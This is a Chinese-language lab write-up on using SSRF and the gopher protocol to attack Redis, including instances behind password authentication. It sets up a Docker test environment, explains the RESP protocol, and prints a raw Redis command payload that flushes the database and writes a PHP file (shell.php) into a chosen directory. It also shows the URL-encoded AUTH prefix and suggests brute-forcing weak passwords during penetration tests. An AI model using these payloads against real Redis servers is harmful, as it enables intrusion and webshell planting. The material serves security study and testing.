浅析SSRF认证攻击Redis

 

前段时间evoA师傅提到了SSRF可以攻击有密码认证的Redis服务,网上的文章大部分都是未授权打Redis,而有关SSRF认证攻击Redis的文章很少,在这里简单分析一下,如有错误还望斧正。

 

SSRF

SSRF漏洞的原理是利用一个可以发起网络请求的服务当作跳板来攻击内部其他服务,我们可以用其探测内网信息、攻击内网应用、穿透防火墙、读取任意文件等。
这里我们演示的是攻击内网Redis应用,类似的还有未授权攻击Mysql服务等。

 

SSRF未授权攻击Redis

当存在SSRF漏洞且内网中Redis服务可以未授权访问时,我们可以利用gopher协议构造tcp报文发送一系列请求来攻击Redis服务。

常见的几种攻击方式:

  • 利用计划任务执行命令反弹shell
  • 写ssh-keygen公钥然后使用私钥登陆
  • 往web物理路径写webshell

网上一堆利用文章,这里不再阐述,这里主要分析未授权攻击的数据包。

pull一个redis服务的docker容器

docker pull ju5ton1y/redis
docker run -d -p 8001:6379 ju5ton1y/redis

设置未授权

sed -i 's/requirepass 123123/#requirepass 123123/g' /etc/redis.conf
docker restart id

进入容器

apt-get install tcpdump
tcpdump -i eth0 port 6379 -o nopass.pcap

利用工具生成payload,直接打即可。

image.png

image.png

通过翻阅官网文档https://redis.io/topics/protocol,可以看到Redis使用的是RESP协议

(ps:英语太渣,谷歌翻译可能不太准确,具体可直接看原文。)

image.png

可以看到客户端将命令发送到Redis服务器的流程为

  • 客户端向Redis服务器发送一个仅由Bulk Strings组成的RESP Arrays。
  • Redis服务器回复发送任何有效RESP数据类型作为回复的客户端。

Bulk Strings用于表示长度最大为512 MB的单个二进制安全字符串,按以下方式编码:

  • 一个$字节后跟组成字符串的字节数(一个前缀长度),由CRLF终止。
  • 实际的字符串数据。
  • 最终的CRLF。

字符串foobar的编码如下:$6rnfoobarrn

RESP Arrays使用以下格式发送:

  • 一个*字符作为第一个字节,后跟数组中的元素数作为十进制数,后跟CRLF。
  • 数组中的每个元素都附加RESP类型。

现在数据包中的每一行数据就好理解了。每一个*number代表每一行命令,number代表每行命令中数组中的元素个数。$number代表每个元素的长度。

*1
$8
flushall
*3
$3
set
$1
1
$22


<?php phpinfo();?>


*4
$6
config
$3
set
$3
dir
$4
/tmp
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
*1
$4
save

 

SSRF认证攻击Redis

sed -i 's/#requirepass 123123/requirepass 123123/g' /etc/redis.conf
docker restart id

进入容器tcpdump -i eth0 port 6379 -o havepass.pcap

本地客户端发送命令到容器6379端口

image.png

随便查看部分tcp流

image.png

可以看到在发送请求之前都发送了下面这条命令用来认证

*2
$4
AUTH
$6
123123

在官方文档中提到Redis是Request-Response model.
A client can use the same connection in order to issue multiple commands. Pipelining is supported so multiple commands can be sent with a single write operation by the client, without the need to read the server reply of the previous command before issuing the next one. All the replies can be read at the end..

大致意思是说Redis客户端支持管道操作,可以通过单个写入操作发送多个命令,而无需在发出下一个命令之前读取上一个命令的服务器回复。所有的回复都可以在最后阅读

这也是Redis在认证情况下依然可以被攻击到原因。

重新构造数据包,添加%2A2%0d%0a%244%0d%0aAUTH%0d%0a%246%0d%0a123123%0D%0A

image.png

测试

image.png

可以看到写入成功

 

后记

在渗透环境中假如找到了SSRF漏洞且内网中开着有认证的Redis服务,我们可以写个脚本用弱口令跑一波SSRF认证攻击Redis,说不定会有突破。

(完)